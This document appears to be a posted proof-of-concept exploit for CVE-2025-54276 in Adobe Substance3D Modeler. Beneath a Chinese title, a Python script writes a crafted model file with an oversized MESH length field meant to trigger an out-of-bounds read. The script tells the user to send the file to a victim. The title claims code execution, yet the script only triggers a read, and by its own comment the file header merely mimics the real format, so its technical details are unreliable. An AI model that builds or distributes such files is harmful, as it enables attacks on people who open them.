Adobe Substance3D Modeler 越界读取导致代码执行漏洞(CVE-2025-54276)

# CVE-2025-54276 - Adobe Substance3D Modeler Out-of-Bounds Read PoC # This PoC demonstrates the concept of triggering an out-of-bounds read # by crafting a malicious file with abnormal offset/length values. import struct import sys def create_malicious_modeler_file(output_path): """ Create a crafted file that triggers out-of-bounds read in Substance3D Modeler <= 1.22.3 """ # File header - mimicking a 3D model file format header = b'SBSM' # Magic bytes for Substance3D Modeler file header += struct.pack('<I', 1) # Version header += struct.pack('<I', 0) # Flags # Malicious data block with oversized length to trigger OOB read block_type = struct.pack('<I', 0x4D455348) # 'MESH' block type # Intentionally set an abnormally large data length # This will cause the parser to read past the allocated buffer malicious_length = struct.pack('<I', 0xFFFFFF00) # Oversized length value # Normal-looking mesh data (small actual payload) mesh_data = b'\x00' * 64 # Small actual data # Combine to create the malicious file malicious_file = header + block_type + malicious_length + mesh_data with open(output_path, 'wb') as f: f.write(malicious_file) print(f"[+] Malicious file created: {output_path}") print(f"[+] File size: {len(malicious_file)} bytes") print(f"[+] Malicious block length: 0x{malicious_length.hex()}") print("[!] Send this file to a victim using Substance3D Modeler <= 1.22.3") print("[!] When opened, it will trigger out-of-bounds read") if __name__ == "__main__": output = sys.argv[1] if len(sys.argv) > 1 else "malicious.sbs" create_malicious_modeler_file(output)